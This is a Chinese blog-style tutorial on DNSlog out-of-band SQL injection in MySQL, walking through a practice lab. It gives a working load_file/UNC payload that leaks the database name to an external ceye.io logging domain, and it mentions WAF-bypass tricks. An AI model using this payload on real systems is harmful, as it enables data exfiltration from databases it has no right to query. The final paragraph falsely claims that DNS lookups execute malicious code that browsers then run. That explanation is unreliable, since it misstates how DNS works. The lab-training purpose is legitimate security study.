DNSLOG注入

注入简介


什么是dnslog注入?

dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

为什么要进行dnslog注入?

一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。。。

知识扩展


首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性

secure_file_priv特性,有三种状态

  1. secure_file_priv为null    表示不允许导入导出
  2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
  3. secure_file_priv没有设置时,则表示没有任何限制

可了解一下load_file和outfile

LOAD_FILE()函数

LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

语法为:load_file(file_name),其中file_name是文件的完整路径

此函数使用需要满足的条件

  1. 文件必须位于服务器主机上
  2. 你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
  3. 文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

UNC路径

什么是UNC路径?

UNC路径就是类似\\softer这样的形式的网络路径。它符合 \\servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。

例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

DNSLOG平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

注入实现


打开靶场所在url,这里有个安全狗,可以通过注释符号绕过,也可以通过web容器的解析特性绕过,解析特性是对后缀名为txt之类的文件,不进行传参的安全检测

经过测试,此处无法使用联合查询,可以选择盲注,这里选择dns带外查询,打开ceye平台,查看我们的域名,如下图

构造合适的UNC路径,concat('//',(select database()),'.o8auqr.ceye.io/abc'),UNC路径是concat函数内的字符串,代表去访问一个域名下的abc文件夹,此处查询的域名属于o8auqr.ceye.io的子域名,在访问的过程中,解析记录会被保存

构造查询语句,poyload:and (select load_file(concat('//',(select database()),'.o8auqr.ceye.io/abc'))),点击访问

打开平台,查看记录,成功解析,如下图

注意:load_file()函数访问的是文件,所以域名后面需要添加/abc

其他查询步骤不在一一列出

DNSLog注入是一种利用DNS协议的安全漏洞进行攻击的方法。它利用了DNS服务器对于域名解析请求的处理方式,通过在恶意构造的域名中插入恶意代码,从而实现对目标系统的攻击或信息收集。 具体的注入原理如下: 1. DNS解析过程:当用户在浏览器中输入一个URL并发送请求时,操作系统会将URL发送给本地DNS服务器进行解析。DNS服务器会向根域名服务器发起查询请求,逐级查询直到找到对应的IP地址。 2. 恶意域名构造:攻击者构造一个恶意域名,其中包含了恶意代码或者指向恶意服务器的IP地址。恶意代码可以是任意可执行的代码,如JavaScript代码、Shell命令等。 3. DNS解析注入:攻击者向本地DNS服务器发送一个查询请求,并在请求中包含恶意域名。本地DNS服务器在解析该域名时,会向上级DNS服务器发起查询请求,直到找到对应的IP地址。在这个查询过程中,恶意代码会被执行。 4. 恶意代码执行:当上级DNS服务器将查询结果返回给本地DNS服务器时,本地DNS服务器会将结果返回给用户的操作系统。操作系统接收到结果后,会将其交给浏览器进行处理。如果结果中包含恶意代码,浏览器会执行该代码。 通过以上的注入原理,攻击者可以实现对目标系统的攻击,如执行恶意脚本、获取敏感信息等。为了防止DNSLog注入攻击,可以采取一些安全措施,如使用DNSSEC来验证DNS响应的真实性、限制DNS解析的递归查询等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值